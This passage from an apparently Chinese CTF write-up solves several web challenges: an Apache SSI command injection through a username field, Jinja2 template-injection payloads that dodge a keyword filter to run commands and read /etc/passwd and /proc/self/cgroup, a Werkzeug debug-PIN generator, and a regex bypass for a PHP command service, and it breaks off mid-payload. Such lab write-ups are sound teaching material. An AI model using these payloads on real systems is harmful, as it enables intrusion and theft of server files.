然后就是第二种解法,也就是构造action为readscan ### 观察md5生成参数为secert_key + param + action,中间param的参数是我们可控的,所以我们可以通过将read放在param的结尾,这样就等效生成了action为readscan的md5 >param=flag.txtread param+action=flag.txtreadscan ### 然后将生成后的md5作为cookies传入即可得到flag ### 最后还有一种方法就是利用local_file协议代替file协议读取文件,也就是把第二种方法里面的flag.txt换成local_file:///app/flag.txt即可 # [BJDCTF2020]EasySearch ### 访问后是个登录页面,先试试sql注入,无果,dirsearch扫一下,扫出来index.php.swp备份文件,访问后得到源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>
### 首先是md5,需要password的前6位为6d0bc1,脚本爆破一下
1
2
3
4
5
6
7
8
9
10
11
import hashlib

i=0
admin='6d0bc1'
while True:
s = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if s[:6] == admin:
print(i)
break
else:
i=i+1
### 得到2020666满足条件 ### 然后登录 ### 然后就是他会生成一个目录为`public/".get_hash().".shtml`的shtml文件 >Apache SSI 远程命令执行漏洞复现 一、漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用``语法执行命令。 使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。 ### 那么路径在哪呢,在响应包里面藏着 >Url_Is_Here:public/31bbdcfc00320a0e7816548a7172bc5ffabea887.shtml ### 访问该目录,联系前面源代码$text里面强调出的`

Hello,'.$_POST['username'].'

`,判断可能要通过username进行ssi命令执行 ### 回到刚才登录界面,将username改为``,进行命令执行 ### 直接ls发现有很多.shtml文件,并没有发现flag,继续ls ../来看目录上一层,发现flag,进行cat得到flag # [GYCTF2020]FlaskApp ### 访问后能base加解密,同时会把结果回显到页面上,还是flask,猜测为ssti ### 尝试`{{1+1}}
后回显果然为2,但是直接命令执行被waf,尝试后发现os,improt,eval,popen等被waf,拼接绕过

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['e'+'val']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }} {% endif %} {% endfor %}

得到flag文件夹名为this_is_the_flag.txt,直接读取发现flag被过滤,用[::-1]进行字符倒转输出

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }} {% endif %} {% endfor %}

得到flag

hint界面源代码中有个pin的字样,同时在我们输入错误的数据时会回显报错界面,代表开启了debug模式,所以我们可以通过生成pin码来进入调试模式进行命令执行

要生成pin码,我们需要知道以下几个信息

(1)flask所登录的用户名。可以通过读取/etc/password知道 用户为flaskweb

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }} {% endif %} {% endfor %}
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

(2) modname 一般不变就是flask.app

(3)getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变

(4)flask库下app.py的绝对路径。在报错信息中可以获取此值为: /usr/local/lib/python3.7/site-packages/flask/app.py

56084b2b784481bb4a3e9f50aec874cf.png

(5)当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取,eth0为当前使用的网卡:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }} {% endif %} {% endfor %}
06:72:f9:05:ef:f9 -> 0672f905eff9(hex) -> 7090873954297(dec)

(6)docker机器id

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。

对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read() }} {% endif %} {% endfor %}
13:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod56b2fc0f_dbd1_4e2c_93b6_e930e63086eb.slice/docker-fac826f739237326f2957bfb529f181e32affa8facc870145229422e8366153c.scope

生成pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from itertools import chain
import hashlib
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377871320'# str(uuid.getnode()), /sys/class/net/eth0/address
'31c24e0fd34a09126aa47d88e21b8b28efcce8acd630632e4e4a9baddff38757', # get_machine_id(),/etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

pin码输入控制台进入交互式shell,执行命令即可得到flag:

os.popen(“cat /this_is_the_flag.txt”).read()

[FBCTF2019]RCEService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

首先是putenv('PATH=/home/rceservice/jail');,意味着我们无法直接去调用cat等命令,因为这些命令实际上是存放在特定目录中封装好的程序,PATH环境变量就是存放这些特定目录的路径方便我们去直接调用这些命令,所以此处部分命令我们得使用其存放的绝对路径去调用

Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用

然后是json格式

JSON 的两种结构:
1、对象:大括号 {} 保存的对象是一个无序的名称/值对集合。一个对象以左括号 { 开始, 右括号 } 结束。每个”键”后跟一个冒号 :,名称/值对使用逗号 , 分隔。
2、数组:中括号 [] 保存的数组是值(value)的有序集合。一个数组以左中括号 [ 开始, 右中括号 ] 结束,值之间使用逗号 , 分隔。
值(value)可以是双引号括起来的字符串(string)、数值(number)、true、false、 null、对象(object)或者数组(array),它们是可以嵌套。

JSON 值
JSON 值可以是:
数字(整数或浮点数)
字符串(在双引号中)
逻辑值(true 或 false)
数组(在中括号中)
对象(在大括号中)
null

最后是正则绕过

解法一:因为preg_match只能匹配第一行,所以这里可以采用多行绕过。

?cmd=